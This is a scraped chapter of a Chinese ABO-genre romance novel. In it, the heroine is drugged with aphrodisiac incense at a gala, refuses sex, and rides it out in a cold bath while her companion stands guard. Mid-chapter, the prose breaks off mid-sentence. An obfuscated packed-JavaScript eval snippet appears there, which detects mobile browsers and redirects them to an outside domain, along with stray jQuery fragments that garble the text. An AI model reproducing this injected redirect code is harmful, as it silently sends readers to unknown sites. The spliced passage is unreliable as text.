12. 012

作品:《Alpha禁止散发信息素

    倪简一路头也不回地往前走,地毯厚实柔软,她几次没走稳,又自己扶着墙定住身形。


    次数多了,她不厌其烦,干脆脱掉鞋,赤脚踩地。裙摆委坠,时而随着她的走动,轻轻扫过她纤细的脚踝。


    简平安不远不近地跟在她身后。


    这一路没什么人,大部分宾客都在大厅参加拍卖,因而显得他们的存在无比奇怪。


    走廊两侧挂着抽象派油画作品,扭曲虬结的色块和线条,笔触自由奔放,色调或暗沉或热烈。


    也许它们想表达某种现代都市人们内心想要冲破樊笼的渴望,或者对城市化进程中被摧毁的大自然的怀念和向往之类的吧,反正倪简看不懂。


    她忽然扭过头,也不知在生谁的气,凶巴巴地冲他喊道:“你怎么老跟着我,你没别的地方可去吗?”


    简平安眼神沉静地望着她,没什么起伏地说:“我只认识你。”


    倪简恼火地跺了下脚:“不要做出那副可怜巴巴的样子叫人心软。”


    他说:“我没有。”


    她蛮不讲理:“就有!”


    简平安从善如流:“好吧,我有。”


    她又不满意了:“你没有自己的想法吗,我说什么就是什么?”


    简平安好似明白了她愤怒的原因,凌巍的强势,凌睿的软弱,但他不理解。


    她好像很情绪化,容易高兴,也容易生气,像流动的水。他的情感认知能力在应对她时,难免有些左支右绌。


    以她的能力和野心,她应该更理智也更冷静才对。


    但这样的话,她又不是她了。


    他不知如何应答。


    倪简见他不语,表情缓和了些,别扭地说:“不好意思,我不该冲你发火的,你生气了吗?”


    他摇头。


    她自我检讨:“院长说我从小到大都很好强,别人玩剩的玩具给我,我不要,我非要去靠争,靠赢得来。可能因为觉得他们可怜我是孤儿,我就是想向他们证明,我不必受人舍予。但好像有点走向极端了。”


    一开始她也不是这样的。


    刚进福利院的前几年,她营养怎么也跟不上同龄人,又瘦又矮。她上的是普通学校,道德观还没有完善的小孩子,保留了人类畏强欺弱的丑陋本性,他们通过贬低、欺辱她,获得“强者”的快感。


    后来她意识到,她的忍气吞声、息事宁人,只会换来他们的变本加厉。


    她没有ABO性别检测结果,但她坚信她是Alpha,因为Alpha是强大的,在社会上是站在金字塔顶尖的。


    她要变强,变得让他们不再敢欺负她。


    渐渐的,他们用了另一套说辞挽尊:“倪简是个孤儿,就让着她点吧。”


    总之,他们不愿承认,一个不知ABO性别、无父无母的女生比他们强。


    她讨厌凌巍这种Alpha的专横,也反感凌睿这种Omega的懦弱。


    可其实她更生自己的气,她不该要求强者谦卑,弱者奋发,这本身也是一种傲慢。


    于是她向简平安道歉、解释,她希望能够拉回一点跑偏的自己。


    简平安说:“你没有做错。”


    倪简低低地道:“没关系,你不用迁就我的。”


    “是你捡回了我一条命,不管你做什么,说什么,我都不觉得你做错了。”


    他和她说话的时候,往往喜欢直直地注视她的眼睛,深得像要望穿她的心,给人一种,任何心思都无法逃过他的感觉。


    这对于自诩强大的人而言,并不是件好事。


    但矛盾的是,他从未给她带去压迫感,不像许多Alpha外放的攻击性,所以又好似掺杂着类似于深情、忠贞、诚恳之类的情感,像滴水穿石,不知不觉中磨蚀人的心理防线。


    相较于精密的器械,倪简在这方面的感知显然笨拙许多,她只觉得在他幽深的目光和直白的话语之下,有点难为情。


    “哦。”她挠了挠脸,又蹭了蹭鼻头,不太自在的模样。


    最后她想了个转移话题的法子缓解尴尬:“我去洗手间,你还要跟着吗?”


    “我可以在门口等你。”


    也许是因为之前凌巍那句意味不明的话,担心她会不会陷入到不可预料的危险当中;也许仅仅是不想回去待着,他的潜意识并不喜欢那种氛围。


    倪简随他便了。


    她一进去,便闻到一种奇异的香气,不过她没在意,只当是香薰,随即又听见女人痛苦间夹杂着欢愉的呻吟,以及“嘭”的一声撞击门板的动静。


    她吓了一跳。


    毕竟当下的性关系很开放,她好歹是成年人了,不至于单纯到不知道发生了什么事。


    倪简匆匆解决完,不知为何,心跳开始加快,出去的时候,脸也发热。


    简平安见她双眼迷蒙,脸颊生绯,不由得问:“你怎么了?”


    她摇摇头,“里面有点闷吧。”


    当然不好说是听了场活春宫的后遗症。


    他仍然觉得不对劲,她的身体很好,能有多闷才变成这样?伸手去碰她的脸。


    才触及她的皮肤,她瑟缩了下。


    很烫。


    比起她的脸,他的手甚至算得上凉。像寒冬里,贴上了一块大理石。


    简平安拢着眉心,往女洗手间里看去,“你在里面碰到了什么?”


    她还没回答,他便也闻到了那阵香,他的身体反应十分敏捷,脸色骤然一变。


    “香里有药。”


    她的思维也迟钝了:“什么药?”


    “走,先出去。”


    简平安脱了外套,包裹住她,一把横抱起她,大跨步,朝着大厅的方向走去。


    有一股灼热之气从小腹深处升起,带着一串火星,游窜到全身四肢百骸的每个角落,而大脑更像点燃一团篝火,烧得她的视野越发惝恍朦胧。


    倪简快看不清他的面孔了,残留的一丝清醒辨认出他是简平安,她攥住他的衣领,脸偎在他的颈侧。


    随着他的走动,她和他越靠越近,他皮肉之下属于男性的荷尔蒙气息在她的脑子里被放大。


    她不由自主地抻长脖颈,鼻尖凑到他的后颈,仿佛那里发散着某种馋人的食物香气,吸引着她去品尝。


    简平安感觉到了,沉声唤她的名字:“倪简。”


    “嗯?”她眼底像蕴着一泓泉,萦绕着蒙蒙雾气,“我好渴……”


    但为什么她口渴,却想贴近他的身体呢?


    “你中□□了。”


    催情?


    倪简糨糊般的脑子勉强理解了这两个字,她猛地咬破舌尖,血腥味在口腔里弥漫,抽离出几分清醒的神思,“你放我下来。”


    她不能再和他挨着了,不然她会更难受。


    “你别动。”


    简平安步子大,很快找到凌巍他们。


    凌睿见状,忙焦急地问:“倪简怎么了?”


    简平安将来龙去脉说了。


    他也吸入了少量,但目前没有症状,也许是剂量不够。


    凌睿问:“为什么洗手间里会有□□?”


    “卫家树敌不少。”凌巍说,“这里有记者,要是爆出聚众淫|乱的丑闻,即便调查出真相,对卫家的名声影响也不小。”


    简平安:“费这么大力气,就是为了损害卫家名声?”


    凌巍冷笑:“首都过半数的达官贵胄都来了,如果是你,你愿不愿意放手一搏?”


    看来,他早就算到了。


    那卫璎呢,她也知情吗?


    还是说,这压根就是他们精心谋划布置的一场棋局?一场豪赌?


    目的是什么?


    然而简平安已经没有闲暇去深究了,倪简等不起。


    她的身子在药物的作用下越来越烫了,但她不愿意受其控制,拼命掐着手心,嘴唇也咬得血淋淋的。


    他搂紧她,“我要带她回去。”


    “下山的路已经封了。”


    开口的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130535|180279||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是卫璎。


    举办晚宴的酒店位于半山腰,离主城区很远,交通要道被封,所有人都离开不了。


    简平安眉心的褶皱深得像刀刻,“你到底想做什么?”


    “瓮中捉鳖。”卫璎的表情很淡,和之前与人谈笑风生的判若两人,“大厅内的安保很好,你不用担心。”


    “我不关心其他人。”


    他和他们素不相识,他也没有倪简那种热心肠,他在乎的只有——


    “倪简怎么办?”


    卫璎瞥他怀中女孩一眼。


    Alpha和Omega的发|情受腺体影响,而在场的精英又多是Alpha携带他们的Omega伴侣,所以对方准备的药物是针对他们的。


    也许因为倪简是准Alpha或是准Omega,她也中招了,但她又没分化,强行发|情并注射抑制剂的话,可能会导致信息素紊乱,最严重的结果就是丢命。


    当然,并非没有可解之法。


    卫璎说:“我给你们准备一间休息室,我想,你应该知道怎么帮她。”


    如今的简平安无力与卫璎以及她背后的卫家势力做抗衡,他只能带倪简先上楼。


    到达二楼,视角更高,他才看到,已经有不少人开始接吻、爱抚,然后起身离开大厅。


    讽刺的是,拍卖依然在继续。


    所有人都是棋子。


    包括他们。


    倪简自然也看到了。


    她虽然没有所谓的贞洁情结,但她不想稀里糊涂地,被迫把第一次交代出去。


    她讨厌丧失自我控制能力的自己。


    “平安……”她喘着气,说话断断续续,但很坚定,“我不要。”


    “不会的。”他向她保证,“我不会那样对你。”


    休息室设备齐全,有卧榻,沙发,还有浴室。


    倪简满脸通红,像要滴血,抓住他衣角的手指用力得发白,她说:“抱我进去。”


    简平安将她放入浴缸,她迫不及待地打开水龙头,捧起冷水冲脸,水瞬间打湿她的头发、裙身。


    “需要我……”


    她说:“你出去。”


    他默了默,说:“我就在外面,有事你叫我。”


    倪简没作声,只是抱紧了自己。


    她从来不知道浴火焚身是这种感觉,喉咙很干,大脑昏沉,却又有某种疯狂的念头像头暴躁的斗牛横冲直撞。


    她有ABO常识,知道Alpha或Omega发|情时最好通过做|爱缓解症状,抑制剂说到底也还是药,注射多了终归有副作用。不过,如果有固定性伴侣,或者年纪增长,信息素会趋近于平和,影响不会那么大。


    但她没分化,腺体还不成熟,自己解决有风险。


    可知道归知道,她依然固执地窝在浴缸里,任由冷水漫过周身。


    他如果待在这里,她真的害怕自己会像野兽一样朝他扑过去。


    简平安退出浴室,刚关上门,便听见一声闷哼。


    在此之后,里面的声响没有停过。


    女孩子像无助的小鹿发出细弱的哼鸣,水哗啦啦地浇在地板上,还有,到达某个巅峰时,急促的喘音。


    至少,他能够确认她没有昏迷。


    简平安就那样倚靠着门,一步不挪地守着。


    他垂着眸子,看见自己的指尖微微发颤,他默然攥紧拳头。


    后来不知过了多久,她没了动静,他不得不叩门:“倪简?”


    “我没力气了。”她的声音轻得他几欲听不见,“帮我……”


    他想也不想,直接推开门。


    原本裁剪合体的礼服一部分布料挂在她身上,另一部分漂浮着,她趴在浴缸边沿,嘴唇张开,艰难而缓慢地呼吸,脸上的分不清是冷汗还是水,头发胡乱地黏在皮肤上。


    简平安抄起一块浴巾,闭着眼,将她从水里捞出来。


    “平安……谢谢你。”


    说完,倪简彻底昏了过去。